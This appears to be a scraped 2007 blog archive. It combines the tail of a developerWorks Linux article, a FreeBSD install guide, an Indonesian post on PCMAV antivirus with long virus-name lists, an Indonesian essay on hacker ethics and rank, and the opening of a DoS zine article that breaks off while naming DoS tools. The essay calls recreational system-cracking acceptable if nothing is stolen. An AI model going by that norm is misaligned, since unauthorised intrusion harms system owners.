"Virtual Linux" (developerWorks, December 2006) shows how Linux can take advantage of processors with virtualization capabilities.
"Linux and symmetric multiprocessing" (developerWorks, March 2007) discusses how Linux can also take advantage of processors that offer chip-level multiprocessing.
"Discover the Linux Kernel Virtual Machine" (developerWorks, April 2007) covers the recent introduction of virtualization into the kernel, which turns the Linux kernel into a hypervisor for other virtualized operating systems.
Check out Tim's book GNU/Linux Application Programming for more information on programming Linux in user space.
In the developerWorks Linux zone, find more resources for Linux developers, including Linux tutorials, as well as our readers' favorite Linux articles and tutorials over the last month.
Stay current with developerWorks technical events and Webcasts.

Get products and technologies

Order the SEK for Linux, a two-DVD set containing the latest IBM trial software for Linux from DB2®, Lotus®, Rational®, Tivoli®, and WebSphere®.
With IBM trial software, available for download directly from developerWorks, build your next development project on Linux.

Discuss

Get involved in the developerWorks community through our developer blogs, forums, podcasts, and community topics in our new developerWorks spaces.

About the author


		M. Tim Jones is an embedded software engineer and the author of GNU/Linux Application Programming, AI Application Programming (now in its second edition), and BSD Sockets Programming from a Multilanguage Perspective. His engineering background ranges from the development of kernels for geosynchronous spacecraft to embedded systems architecture and networking protocols development. Tim is a Consultant Engineer for Emulex Corp. in Longmont, Colorado.

Installing FreeBSD

2007-06-07T08:43:00.000-07:00

Installing FreeBSD

Applicable to: FreeBSD 6.x (i386)

This Sheet describes the procedure for installing FreeBSD. Before performing this procedure, you should review the FreeBSD Handbook article Installing FreeBSD.

Inventory your computer hardware and ensure that it is compatibile with FreeBSD. The current compatibility list can be found in the FreeBSD/i386 Hardware Notes.

Click here to view Luna's hardware configuration
Click here to view Pandora's hardware configuration
Click here to view Sentinel's hardware configuration

Insert FreeBSD CD #1 in the CD drive and turn on the computer.

You may need to go into the computer's system configuration and enable the CD drive as a boot device, or change the boot order so that the computer boots to the CD first.

If your computer cannot boot from the CD drive, follow the instructions listed in the FreeBSD Installation Instructions for creating boot floppies.

If you are using a USB keyboard, choose the 'Boot FreeBSD with USB keyboard' option at the boot menu. (If you don't, your system will be non-responsive. Trust me...)

Note: If you are installing FreeBSD 5.x with a USB keyboard, choose the 'Escape to loader prompt' option at the boot menu, then enter the following commands:

OK set hint.atkbd.0.flags="0x1"
OK boot

If you wish to set up two hard drives as a RAID-1 mirroring drive system, perform the following:

From the main menu, choose 'Fixit' to get a shell prompt.
Determine which devices are your hard drives:

# atacontrol list

You should see something similar to:

...
ATA channel 2:
   Master:  ad4  Serial ATA v1.0
...
ATA channel 4:
   Master:  ad8  Serial ATA v1.0
...

In this example, the two drives which will be mirrored are ad4 and ad8.

Create the mirror array:

# atacontrol create RAID1 ad4 ad8

After the array has been created, you can check the status using atacontrol:

# atacontrol status ar0

The response should be:

ar0: ATA RAID1 subdisks: ad4 ad8 status: READY

To return to the Main Menu, enter:

# exit

At the main menu, choose 'Exit Install' to reboot the computer. After the computer reboots, the array device ar0 will be available for installing FreeBSD.

From the main menu, choose the 'Standard' installation.
In the FDISK Partition Editor, choose 'A' to use the entire disk. Choose 'S' to make this partition the boot partition. Press 'Q' to continue.
At the "Install Boot Manager" prompt, choose the appropriate boot manager. This procedure assumes that FreeBSD is the only operating system, so choose the 'Standard' master boot record.

In the Disklabel Editor, create the following partitions:

ar0s1a   /      512MB as UFS2
ar0s1b   swap   2048MB as swap  (4x system RAM)
ar0s1d   /var   4096MB as UFS2 + Softupdates
ar0s1e   /usr   remaining as UFS2 + Softupdates

Choose 'Q' to continue.

Choose Distributions:
- Developer
- Ports
- Custom Distributions: Games
Choose 'OK' to go to next menu.
Choose installation media. In this case CD/DVD.
At the 'Last Chance' warning, choose "YES."

(At this point the System will install...)

You will be prompted for several miscellaneous configuration options:
1. Ethernet device 'bge0':
  - IPv6 Config: No
  - DHCP: No
  - Host: machine_name.your_domain.tld
  - Domain: your_domain.tld
  - IP Address: 10.70.153.1
2. Gateway: No
3. inetd: Yes
4. ssh: Yes (there is some follow-up in Post-Install Cleanup)
5. Anonymous FTP: No
6. NFS Server: No
7. NFS Client: No
8. Customize console: Fast repeat rate
9. Time Zone: Local, not GMT. (set to your time zone)
10. Linux Binary support: No
11. Mouse Configuration: No (or set to your mouse, if you're using one)
12. Packages: No
13. Additional users: No (Add users after Post-Install Cleanup)
14. Set 'root' password: ******
Exit install.

(System reboots...)

Anti Brontok dan Variannya

2007-06-01T11:50:00.000-07:00

Hasil dari request salah satu temanQ yang komputernya terkena virus brontok. Setelah browsing dan melihat disana kemari akhirnya menemukan Anti Virus produk anak Bangsa Sendiri di PC Media.

Jika kita menggabungkan database dari ClamAV (Antivirus berjalan di OS Linux) dapat menghancurkan virus-virus dunia lainya. Berikut ini cara Instalasi penggabungan Database ClamAV dan PCMAV (Sumber : Readme PC MAV)

1. Prosedur penginstalan library ClamAV
- Download file “TClamav.0.1.1.zip” dari alamat berikut:
http://prdownloads.sourceforge.net/visualsynapse/TClamav.0.1.1.zip?download
Silahkan pilih dari server mana Anda akan mendownload.

- Setelah Anda mendapatkan file “TClamav.0.1.1.zip” hasil download tadi, lakukan
ekstrak terhadap TClamav.0.1.1.zip hanya pada file “libpclamav.dll” (tanpa
perlu mengikutkan file lainnya dan folder “LIB”) ke dalam folder di mana
PCMAV berada.

2. Prosedur penginstalan database virus ClamAV
- Download 2 file database dari alamat berikut ini:
1. http://db.local.clamav.net/main.cvd
2. http://db.local.clamav.net/daily.cvd
Jika browser Anda gagal mendownload kedua file tersebut dengan cara penunjukan
langsung alamat seperti di atas, masuklah ke situs www.clamav.net, lalu tepat
di bawah judul “Project News” terdapat link “main.cvd” dan “daily.cvd”. Anda
tinggal meng-klik kanan link tiap file tersebut, lalu pilih “Save As”.
- Tempatkan kedua file tersebut (main.cvd dan daily.cvd) ke dalam folder di
mana PCMAV berada.

3. Setelah semua prosedur diatas dilakukan, pastikan bahwa pada folder PCMAV
terdapat 5 (lima) buah file, yaitu :
1. PCMAV-CLN.exe
2. README.TXT
3. libpclamav.dll
4. main.cvd
5. daily.cvd

Sekarang Anda jalankan PCMAV-CLN.EXE, apabila ClamAV tersebut berhasil
diintegrasikan oleh PCMAV maka akan tampil informasi mengenai database
ClamAV pada kolom “PCMAV Informations”. Dan Anda sekarang dapat menggunakan
PCMAV seperti biasa, tentunya dengan database virus yang lebih banyak.

Jika anda ingin mencobanya silahkan download link dibawa ini

Download PC MAV RC11 Click Here

Download PC MAV RC12 Click Here

Download PC MAV RC13 Click Here

Download PC MAV RC14 Click Here

Download PC MAV RC15 Click Here

Download PC MAV RC16 Click Here

PC Media Antivirus (PCMAV) 1.0 RC11 - RC14 Copyright (c) 2006 Majalah PC Media, a member of Pinpoint Publications.Di dalam PC Media ini dapat menghapus virus :

Virus yang sudah dikenal sejak RC10 (347 Virus)
===============================================
ABG-Ach
Aduhai.A
Aduhai.B
Aduhai.bmp
Aduhai.txt
Adware.MyWebSearch
Aksika-Dago.C
Aksika-Dease
Aksika-Dease.htt
Aksika-Dease.ini
Aksika-Eswete
Aksika-Eswete.htm
Aksika-Eswete.htt
Aksika-Eswete.ini
Aksika-Eswete.oem
Aksika-Iseng
Aksika-Iseng.htt
Aksika-Iseng.ini
Aksika-Iseng.txt
Aksika-Kere.A
Aksika-Kere.A.htt
Aksika-Kere.A.ini
Aksika-Kere.A.txt
Aksika-Kere.B
Aksika-Kere.B.htt
Aksika-Kere.B.ini
Aksika-Kere.B.txt
Aksika.A
Aksika.B
Aksika.C
Aksika.D
Aksika.D.htt
Aksika.D.ini
Aksika.htt
Aksika.ini
Aksika.msg-2
Aksika.txt
Alisa
Anf
Angel
Angel.htt
Angel.ini
Aris
Armora.A
Armora.B
Armora.C
Armora.D
Armora.E
Babat-B.A
Babat-B.B
Babat-B.C
Bagle
Bagle.msg
Bali
Bali.msg
Bandot
Bandot.txt
BlackLove
BlackLove.htm
BlueFantasy
BlueFantasy.msg
Bolos
Borax.A
Borax.B
Borax.txt
Borneo
Borneo.msg.A
Borneo.msg.B
Brontok-1
Brontok-1.B
Brontok-1.C
Brontok-10.A
Brontok-10.B
Brontok-10.C
Brontok-11
Brontok-11.B
Brontok-12.A
Brontok-12.B
Brontok-12.C
Brontok-12.D
Brontok-12.E
Brontok-12.F
Brontok-12.G
Brontok-12.H
Brontok-12.I
Brontok-12.J
Brontok-12.K
Brontok-14.A
Brontok-14.B
Brontok-14.C
Brontok-14.D
Brontok-14.E
Brontok-14.F
Brontok-15
Brontok-15.B
Brontok-16.A
Brontok-16.B
Brontok-16.C
Brontok-16.D
Brontok-17.A
Brontok-17.B
Brontok-17.C
Brontok-17.D
Brontok-17.E
Brontok-17.F
Brontok-17.G
Brontok-18R.A
Brontok-18R.B
Brontok-18R.C
Brontok-18R.D
Brontok-20.MyBro
Brontok-21
Brontok-21.B
Brontok-22.MyBro.A
Brontok-22.MyBro.B
Brontok-3
Brontok-4
Brontok-5.A
Brontok-5.B
Brontok-8
Brontok-9
Brontok-GavGent
Brontok-JoseRay
Brontok-Laknats.A
Brontok-Laknats.B
Brontok-Sensasi.A
Brontok-Sensasi.B
Brontok-Sensasi.C
Brontok-Sensasi.D
Brontok-Sensasi.E
Brontok-Sensasi.F
Brontok.Downloader
Brontok.Downloader.bat
Brontok.html
Brontok.msg
Brontok.MyBro.Downloader
Brontok.MyBro.Downloader.bat
Brontok.MyBro.msg
Buff
Buff.B
Buff.bin.A
Buff.bin.B
Buff.bin.C
Buggie
Cage
Cage.bin
Cage.msg.A
Cage.msg.B
Codex.A
Codex.B
Codex.C
Codex.D
Codex.D.htm
Codex.E
Codex.E.htm.A
Codex.E.htm.B
Codex.msg
CopyA
Cuex44
Cyrax.A
Cyrax.B
Cyrax.C
Dago
Dago.B
Dago.bat
Dago.htm
Dago.htt
Dago.ini
Decoil
Decoil.exe.A
Decoil.exe.B
Delf
Delf.htt
Delf.ini
Diary.A
Diary.B
Dodol
Dodol.msg.A
Dodol.msg.B
Dodol.msg.C
Dodol.msg.D
Dodol.msg.E
Dp
Dp.bat
Dp.reg
Ego
Ego.msg
FluBurung
FluBurung.B
FluBurung.msg
FunLove
GelasPecah
Gombel
Harpot
Harpot.B
Idhunks
Jeefo
Joke.Hikaru
KamaSutra
KamaSutra.htt
KamaSutra.ini
KamaSutra.mim
Kangen.A
Kangen.B
Kangen.C
Kangen.D
Kangen.E
Kidala
Kuserv
Lambertus
Lambertus.doc
Lambertus.html
Langgirri
Langgirri.rtf
Langgirri.vbs
Leena
Leena.B
Leena.C
Leena.C.dl_
Leena.C.dll
Leena.C.doc
LipGame
Lugu
Lugu.bat
Meme.A
Meme.B
Meme.bmp
Meme.txt
Moonlight-B.A
Moonlight-B.A.upd
Moonlight-B.B
Moonlight-B.C
Moonlight-B.C.msg
Moonlight-B.D
Moonlight-B.E
Moonlight-B.F
Moonlight-B.F.msg.A
Moonlight-B.F.msg.B
Moonlight-B.G
Moonlight-B.G.msg
Moonlight-B.H
Moonlight-B.I
Moonlight-B.J
Moonlight-B.K
Moonlight-B.msg.A
Moonlight-B.msg.B
Moonlight-B.msg.C
MyTob.A
MyTob.B
Nahital
NetLog
NetSky.C
Nihilit
Nimda
Numkam
PatahHati
PatahHati.msg
Perdana
Perdana.B
Pesin.A
Pesin.B
Peta
Pluto
Pluto.B
Pluto.B.bmp
Renova.A
Renova.B
Renova.C
Renova.D
Renova.htm
Renova.txt
Riyani
RomanticDevil.A
RomanticDevil.A.htm
RomanticDevil.A.pic
RomanticDevil.A.txt
RomanticDevil.B
RomanticDevil.B.htm
RomanticDevil.B.pic
RomanticDevil.B.txt
RomanticDevil.C
RomanticDevil.C.htm
RomanticDevil.vbs
Rontok
Rose-Loren.A
Rose-Loren.B
Rose-Loren.bat
Rose-Loren.bmp
Rose-Loren.C.A
Rose-Loren.C.html
Rose-Loren.C.ini
Rose-Loren.htm
Rose-Loren.ini
Rose-Loren.jpg
Shellynt
Shuriken
Shuriken.B
SkyNet.A
SkyNet.A.b64
SkyNet.A.dll
SkyNet.A.zip1
SkyNet.A.zip2
SkyNet.A.zip3
SkyNet.A.zipped
SkyNet.B
SpiderX
Spoofer
Syarah
TamiFlu
Terrorist
Terrorist.txt
Tiara
Tiara.B
Tiara.C
Tiara.C.msg
Tiara.C.vbs
Tiara.msg
Tinutuan
Tinutuan.B
Tinutuan.msg
Toking
Tomero
Tomero.doc
Toy
Trojan.Dialer
Trojan.PassDump
Trojan.PerfKeyLog
Trojan.Sinowal
Tsunami
Tsunami.B
Tsunami.C
Tugas
Udin
Unmul
Unmul.B
Valium
VbForm
Vhack
Vires
Wukill
Wukill.htt
Wukill.ini
Yosa
Yulbitha
Yulbitha.B
Yulbitha.htm
Zulu

Virus baru di RC11 (45 Virus)
=============================
BlackSymbian
BlackSymbian.exe
BlackSymbian.html
Brontok-12.L
Brontok-17.H
Brontok-18R.E
Brontok-18R.F
DanaKorup
DanaKorup.txt
Dora
Dora.ini
Gadis
Infolahta
Infolahta.doc
Kohoin
Kohoin.bat
Kohoin.txt
Leacon
Maniez
Maniez.htm
Maniez.htt
Maniez.ini.A
Maniez.ini.B
Moonlight-B.L
Moonlight-B.txt
Notbron
Notbron.vbs
Renova.E
Renova.E.htm.A
Renova.E.htm.B
Renova.E.vbs.A
Renova.E.vbs.B
Renova.E.vbs.C
Renova.E.vxd
Ririn
Ririn.htm
Ririn.htt
Ririn.inf
Ririn.ini
Rose-Loren.C.B
Sherry
Shindu
Shindu.bmp
Tawon
Tiara.C.bat

Untuk PC MAV RC 12 Sudah keluar.

VIrus-virus yang dapat dibasmi adalah :

Virus baru di RC12 (124 Virus)
==============================
Acro
Aksika.E
Aksika.E.txt
Aksika-Brontok
Aksika-Brontok.ini
Aksika-Kristy
Aksika-Kristy.ini
Aksika-Kristy.txt
Aliens
Aris.B
Aris.B.exe
Armora.F
Artika
Babon
Babon.ini
Babon.txt
BlackLove.B
BlackLove.B.htm
BlackLove.B.txt
Blangkon
Brontok-10.D
Brontok-10.E
Brontok-11.C
Brontok-11.D
Brontok-12.M
Brontok-12.N
Brontok-12.O
Brontok-12.P
Brontok-12.Q
Brontok-16.E
Brontok-17.I
Brontok-17.J
Brontok-17.K
Brontok-18R.G
Brontok-18R.H
Brontok-21.C
Brontok-21.D
Brontok-3.B
Brontok-JoseRay.B
Brontok-Sensasi.G
Buf
BukBron
Cantik
Cerpen
CopyA.B
CopyA.C
Datos
Eja
Everything
FluBurung.C
FluIkan
FluIkan.hosts
FluIkan.htm
FluIkan.ini.A
FluIkan.ini.B
Gawean.A
Gawean.B
Gawean.txt
Grogotix.A
Grogotix.B
Grogotix.C
Grogotix.hosts
Grogotix.htm
Grogotix.zip
Harpot.C
Harpot.D
Harpot.E
Harpot.F
Heny
Indo
Influenza
Influenza.htm
Kuserv.B
Langgirri.B
Langgirri.B.txt
LoveHurts
Majnun
Majnun.hosts
Majnun.txt
Mazda
Mazda.txt
Meme.C
Mig
Mutant.A
Mutant.A.htm
Mutant.A.inf
Mutant.B
Myday
Myday.exe
Myztx
Myztx.bat
Naga.A
Naga.B
Naga.exe
Naga.htt
Naga.ini
Neo
Pesin.C
Pesin.doc
Peta.B
PuisiHati.A
PuisiHati.B
Renova.F
Rian
Rian.exe
Roro
Ryodan
Ryodan.htm
Sherry.B
SkyNet.C
System76
TheWorld
TheWorld.html
Tiara.D
Tiara.D.exe
Tikoh
Tikoh.htt
Tikoh.ini
Unmul.C
Vires.B
VirusDemo
Wkyo
Wukill.B
Yudizat

=======================
Virus baru di RC13 (67)
=======================
Aksika-Brontok.exe
Aksika-Brontok.txt
Aksika-Brontok.zip.A
Aksika-Brontok.zip.B
Aksika-Brontok.zip.C
Aksika-Brontok.zip.D
Aksika-Brontok.zip.E
Aksika-Dago.D
Aksika-Kompti
Aksika-Kompti.bat
Aksika-Kompti.ini
Aksika-Kompti.txt
Aksika-Qbo
Aksika-Thedawn
Aksika.F
Aksika.htt.B
Alsika-Qbo.txt
Antiusa
Armora.G
Autoit
Babat-B.D
BatamIsland
Bharatayuda
Bharatayuda.jpg
Brontok-10.F
Brontok-12.R
Brontok-14.G
Brontok-15.C
Brontok-16.F
Brontok-21.E
Brontok-21.F
Brontok-Sensasi.H
BukBron.B
CoolFace-Mutant.C
CoolFace-Mutant.D
Cukul-Perdana.C
Cukul-Perdana.C.txt
Geratis
GhostyNet
GirlSurf
Harpot.G
Hutan
Majalah
Moonlight-B.M
Moonlight-B.N
Moonlight-B.O
Moonlight-B.P
Moonlight-B.Q
Moonlight-B.R
Naga.C
Pacuks
PendekarBlank
PendekarBlank.txt
PicCindy
Pln
Pln.txt
Publikasi.A
Publikasi.B
Redlof
RontokBrow
SecretFolder.A
SecretFolder.B
Shuriken.C
Tiara.E
Tsunami.D
Wkyo.B
Zulanick

Virus Baru di RC14 (53)
=======================
Aksika-Yuga
Aksika.G
Aksika.H
Armora.H
Bacalid
Banjir
Banjir.exe
BlueFantasy-Erikimo
Bolozer
Bolozer.htm
Bolozer.inf
Brontok-3.C
Brontok-JoseRay.C
Brontok-JoseRay.D
Brontok-Sensasi.I
CoolFace-Mutant.E
CoolFace-Mutant.F
CoolFace-Mutant.G
DaraManis
Dira
Enden
Fujack
Grogotix.D
Indo.B
Jaringan
Kangen.F
KyrEnt.A
KyrEnt.B
Landhita
Leena.D
Leena.D
Leena.E
Mig.B
Moonlight-B.S
Moonlight-B.T
Moonlight-B.U
Multiply
MyDoom
Pengging
Rahasia
Romlah
Romlah.txt
Rose-Loren.D
Sherry.C
Shuriken.D
SlowButSure.inf
SlowButSure.vbs
Sohibq
Sysmngmt
Tiara.F
Tiara.G
Unmul.D
Worm2007

VIRUS BARU DI RC15 (65)
=======================
Aksika-Kere.C
AntiDealova
AntiVirus
AntiVirus.exe
Babat-B.E
BAT.FormatC
Bercinta
Bharatayuda.B
Bharatayuda.bat
Bharatayuda.bmp
Bharatayuda.htm
Bharatayuda.htt
Bharatayuda.ini.A
Bharatayuda.ini.B
Bharatayuda.txt.A
Bharatayuda.txt.B
Bharatayuda.txt.C
Bolozer.B
Brontok-1.D
Brontok-1.E
Curhat
Curhat.inf
Gila
Gila.bat
Gila.vbs
Hinf.vbs.htt
Indo.C
Jadwal
Jadwal.reg
Joke.Kliker
Leena.E
Meme.C
Moonlight-B.V
Moonlight-B.W
Moonlight-B.W.dll.A
Moonlight-B.W.dll.B
Moonlight-B.W.mid
Moonlight-B.W.txt
Moviemk
MySharona
MySharona.inf
NoTelp
Pacaran
Peta.C
Piglet
Piglet.bat
Piglet.htt
Piglet.inf
Piglet.ini
Piglet.jpg.A
Piglet.jpg.B
Plankton
Puisi
Renova.G
Renova.H
Ruupp
Shuriken.E
SkyNet.C
SlowButSure.vbs.B
SlowButSure.vbs.B.inf
TestUsb
TestUsb.sys
Tiara.H
TutorVirus
Worm2007.B

VIRUS BARU DI RC16 (72)
=======================
Aites.A
Aites.B
Aksika.I
Aksika.J
Alcohol
Armora.I
Artis
AsSlamBey
AsSlamBey.bmp
AsSlamBey.ini
BlueFantasy-Erikimo.B
BlueFantasy-Erikimo.B.Dropper
BlueFantasy-Erikimo.db
BlueFantasy-Erikimo.inf
Brontok-21.G
Brontok-Aditiya
Chasnah
Codex.F
Cukul-Perdana.D
DeadEchoes
Dealova.B
Dealova.bat
Dealova.htm
Dealova.txt
DeulleDoX
Dora.B
Flazh
Freedom.vbs
Freedom.vbs.exe
Freedom.vbs.inf
FreeSys
GameVB
GelasPecah.B
Hinf.vbs.htt
HPBunga
JeritanRakyat
Keith.vbs
KyrEnt.C
Leena.F
Moonlight-B.X
MyHeart
MySharona.B
MySharona.C
Naruto
Nohack.vbs
Nohack.vbs.inf
Perang
Perang.htm
Perang.htt
Rakun
Renova.I
SecretFolder.C
SecretFolder.D
SecretFolder.htt
SecretFolder.ini
Sky
Sky.inf
Trojan.DialerHard
Trojan.IRCBot
Trojan.IRCBot.tar
Trojan.Live
Trojan.ProxyAgent
Trojan.StartPage
Tutor.B
Usrhost
Vires.C
WinDevils
WinDevils.htt
WinDevils.ini
WinDevils.txt
Wukill.C
Yulbitha.C

Tentang HACKER

2007-04-29T13:40:00.000-07:00

Tulisan ini dibuat untuk memberikan gambaran yang jelas mengenai siapa sebenarnya hacker, sebab selama ini opini yang terbentuk dalam masyarakat kita mengenai hacker kurang tepat. Banyak anggapan miring di dunia maya tentang hacker yang tidak pada tempatnya. bahkan berbalik 180 derajat dari tuuan sebenarnya.

*RFC1392,Internet User Glossary, : Hacker adalah: Seseorang yang tertarik untuk mengetahui secara mendalam mengenai kerja suatu system, komputer, atau jaringan komputer."

Pengertian:
==========

HACK {secara umum}
==================
1.pekerjaan yang dilakukan secara cepat dan berhasil, walau tidak sempurna
2.Suatu hal Mustahil, dan mungkin menghabiskan banyak waktu tetapi menghasilkan yang diinginkan.
3.untuk membuktikan baik secara emosional ataupun fisik bahwa ini bisa dilakukan
4.Mengerjakan sesuatu secara bersungguh-sungguh, dengan ketelitian yang tinggi
5.Berinteraksi dengan komputer dalam bermain dan bereksplorasi
6.kependekan dari hacker

HACKER {aslinya, seseorang yang membuat kerajinan dengan kapak}
===============================================================
1.Seseorang yang sangat senang mengeksplorasi suatu program dari suatu system untuk untuk mengetahui batas kemampuannya, dengan mengunakan cara-cara dasar yang akan digunakan oleh orang yang tidak mengerti dan mengetahui bagaimana program itu dibuat dan dengan pengetahuan minimum terhadap program.
2.seseorang yang sangat antusias dalam membuat program, dan lebih menikmati membuat program dibandingkan berteori tentang program tersebut.
3.seseorang yang mampu melakukan "hack"
4.seseorang yang sangat baik dalam memprogram
5.ahli pemrograman, atau sering melakukan pekerjaan dengan program itu
6.ahli yang tertarik dengan semua hal, contoh hacker di bidang astronomy.
7.seseorang yang senang dengan tantangan intelektual dengan ide kreatif
8.seseorang yang secara sembunyi-sembunyi berusaha menemukan informasi penting dengan cara menjelajah, lebih sering disebut sebagai cracker.

CRACK {warez d00dz}
===================
1.memaksa masuk kedalam suatu sistem
2.kegiatan menghilangkan copy protection
3.Program, instruksi yang digunakan untuk menghilangkan copy protection

CRACKER
=======
1.seseorang yang mencoba masuk kedalam suatu jaringan secara paksa dengan tujuan mengambil keuntungan, merusak, dsb.
2.seseorang yang menghilangkan copy protection
3.seseorang yang melakukan kegiatan "crack"

CRACKING
=======
1.kegiatan membobol Suatu sistem komputer dengan tujuan menggambil keuntungan merusak dan menghancurkan dengan motivasi tertentu.

Etika Hacker
============
1.Kepercayaan bahwa berbagi informasi adalah suatu hal yang sangat baik dan berguna, dan sudah merupakan kewajiban (kode etik) bagi seorang hacker untuk membagi hasil penelitiannya dengan cara menulis kode yang "open-source" dan memberikan fasilitas untuk mengakses informasi tersebut dan menggunakan peralatan pendukung apabila memungkinkan.

2.keyakinan bahwa "system-cracking" untuk kesenangan dan eksplorasi sesuai dengan etika adalah tidak apa-apa [OK] selama seorang hacker, cracker tetap komitmen tidak mencuri, merusak dan melanggar batas-batas kerahasiaan.

=(di ambil,diartikan dan diedit dari the jargon file (versi 4.4.4) )=

===========================================================================

"Yang menarik,ternyata dalam dunia hacker terjadi strata-strata (tingkatan) yang diberikan oleh komunitas hacker kepada seseorang karena kepiawaiannya, bukan karena umur atau senioritasnya. Saya yakin tidak semua orang setuju dengan derajat yang akan dijelaskan disini,karena ada kesan aroganterutama pada level yang tinggi. Untuk memperoleh pengakuan/derajat, seorang hacker harusmampu membuat program untuk eksploit kelemahan sistem, menulis tutorial (artikel), aktif diskusi di mailing list, membuat situs web dsb."

Hirarki Hacker
==============
Mungkin agak terlalu kasar jika di sebut hirarki / tingkatan hacker; saya yakin istilah ini tidak sepenuhnya bisa di terima oleh masyarakat hacker. Oleh karenanya saya meminta maaf sebelumnya. Secara umum yang paling tinggi (suhu) hacker sering di sebut ‘Elite’; di Indonesia mungkin lebih sering di sebut ‘suhu’.Sedangkan, di ujung lain derajat hackerdikenal ‘wanna-be’ hacker atau dikenal sebagai ‘Lamers’.

Elite:
=====
Juga dikenal sebagai 3l33t, 3l337, 31337 atau kombinasi dari itu; merupakan ujung tombak industri keamanan jaringan. Mereka mengerti sistem operasi luar dalam, sanggup mengkonfigurasi & menyambungkan jaringan secara global. Sanggup melakukan pemrogramman setiap harinya. Sebuah anugrah yang sangat alami, mereka biasanya effisien & trampil,menggunakan pengetahuannya dengan tepat. Mereka seperti siluman dapat memasuki sistem tanpa diketahui, walaupun mereka tidak akan menghancurkan data-data. Karena mereka selalu mengikuti peraturan yang ada.

Semi Elite:
==========
Hacker ini biasanya lebih mudadaripada Elite.Mereka juga mempunyai kemampuan & pengetahuan luas tentang komputer. Mereka mengerti tentang sistem operasi (termasuk lubangnya). Biasanya dilengkapi dengan sejumlah kecilprogram cukup untuk mengubah program eksploit. Banyak serangan yang dipublikasi dilakukan oleh hacker kaliber ini, sialnya oleh para Elite mereka sering kali dikategorikan Lamer.

Developed Kiddie:
================
Sebutan ini terutamakarena umur kelompok ini masih muda (ABG)&masih sekolah. Mereka membaca tentang metoda hacking & caranya diberbagai kesempatan. Mereka mencoba berbagai sistem sampai akhirnya berhasil & memproklamirkan kemenangan ke lainnya. Umumnya mereka masih menggunakan Grafik UserInterface (GUI) & baru belajar basic dari UNIX, tanpa mampu menemukan lubang kelemahan baru di sistem operasi.

Script Kiddie:
=============
Seperti developed kiddie, Script Kiddie biasanya melakukan aktifitas diatas. Seperti juga Lamers, mereka hanya mempunyai pengetahuan teknis networking yang sangat minimal. Biasanya tidak lepas dari GUI. Hacking dilakukan menggunakan trojan untuk menakuti & menyusahkan hidup sebagian pengguna Internet.

Lamer:
=====
Mereka adalah orang tanpa pengalaman & pengetahuan yang ingin menjadi hacker (wanna-be hacker). Mereka biasanya membaca atau mendengar tentang hacker & ingin seperti itu. Penggunaan komputer mereka terutama untuk main game, IRC, tukar menukar software prirate, mencuri kartu kredit. Biasanya melakukan hacking menggunakan software trojan, nuke & DoS. Biasanya menyombongkan diri melalui IRC channel dsb. Karena banyak kekurangannya untuk mencapai elite, dalam perkembangannya mereka hanya akan sampai level developed kiddie atau script kiddie saja. Lamer tidak sama dengan camer :D.

Etika & Aturan main Hacker
=========================

+ Di atas segalanya, hormati pengetahuan & kebebasan informasi.
+ Memberitahukan sistem administrator akan adanya pelanggaran keamanan/lubang di keamanan yang anda lihat.
+ Jangan mengambil keuntungan yang tidak fair dari hack.
+ Tidak mendistribusikan & mengumpulkan software bajakan.
+ Tidak pernah mengambil resiko yang bodoh
+ selalu mengetahui kemampuan sendiri.
+ Selalu bersedia untuk secara terbuka/bebas/gratis memberitahukan & mengajarkan berbagai informasi & metoda yang diperoleh.
+ Tidak pernah meng-hack sebuah sistem untuk mencuri uang.
+ Tidak pernah memberikan akses ke seseorang yang akan membuat kerusakan.
+ Tidak pernah secara sengaja menghapus & merusak file di komputer yangdihack.
+ Hormati mesin yang di hack, dan memperlakukan dia seperti mesin sendiri.

Jelas dari Etika & Aturan main Hacker di atas, terlihat jelas sangat tidak mungkin seorang hacker betulan akan membuat kerusakan di komputer.

=(diambil, dan diedit berdasarkan tulisan : Onno w. Purbo)=

SERANGAN DENIAL OF SERVICE

2007-04-23T16:56:00.000-07:00

echo-zine 02
Oleh: MOBY (echo-staff)
     moby@echo.or.id || mobygeek@telkom.net


 .o0 Kata Pengantar

 Pada dasarnya saya mencoba memberikan gambaran umum tentang Denial of
       Service atau yang lebih kita kenal dengan DoS.   Beberapa pertanyaan
       yang mungkin bisa terjawab diantaranya :
 
  1. Apa itu DoS ?
  2. Apa motif cracker untuk melakukan itu ?
  3. Bagaimana cara melakukannya ?
  4. Apa yang harus saya lakukan untuk mencegahnya ?

 Semuanya untuk anda, ENJOY !!. 
 
 .o0 Apa itu Denial of Service (DoS) ?

 Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis)
       atau   mematikan-nya, sehingga user yang berhak/berkepentingan tidak dapat
       menggunakan   layanan tersebut. Dampak akhir   dari  aktifitas ini menjurus
       kepada    tehambatnya aktifitas korban yang dapat   berakibat  sangat fatal
       (dalam kasus tertentu). Pada dasarnya Denial of Service merupakan serangan
        yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik dimana
       admin akan berada  pada kondisi yang membingungkan   antara   layanan  dan
       kenyamanan terhadap keamanan.  Seperti yang kita tahu, keyamanan berbanding
       terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu mengikuti
       hukum ini.

 Beberapa aktifitas DoS adalah:
  
  1. Aktifitas 'flooding' terhadap suatu server.
  2. Memutuskan koneksi antara 2 mesin.
  3. Mencegah korban untuk dapat menggunakan layanan.
  4. Merusak sistem agar korban tidak dapat menggunakan layanan.


 .o0 Motif penyerang melakukan Denial of Service

 Menurut Hans Husman (t95hhu@student.tdb.uu.se), ada beberapa motif cracker
       dalam melakukan Denial of Service yaitu:

  1. Status Sub-Kultural.
  2. Untuk mendapatkan akses.
  3. Balas dendam.
  4. Alasan politik.
  5. Alasan ekonomi.
  6. Tujuan kejahatan/keisengan.

 Satatus subkultural dalam dunia hacker, adalah sebuah unjuk gigi atau lebih
       tepat kita sebut sebagai pencarian jati diri. Adalah sebuah aktifitas umum
       dikalangan hacker-hacker muda untuk menjukkan kemampuannya  dan  Denial of
       Service merupakan aktifitas   hacker diawal karirnya.  Alasan politik  dan
       ekonomi untuk saat sekarang juga merupakan alasan yang paling relevan. Kita
       bisa melihat dalam 'perang cyber' (cyber war), serangan DoS bahkan dilakukan
       secara terdistribusi atau lebih dikenal dengan istilah 'distribute Denial of
       Service'. Beberapa kasus serangan virus semacam 'code-red' melakukan serangan
       DoS bahkan secara otomatis dengan memanfaatkan komputer yang terinfeksi,
       komputer ini disebut 'zombie' dalam jargon.Lebih relevan lagi, keisengan
       merupakan motif yang paling sering dijumpai. Bukanlah hal sulit untuk
       mendapatkan program-program DoS, seperti nestea, teardrop, land, boink,
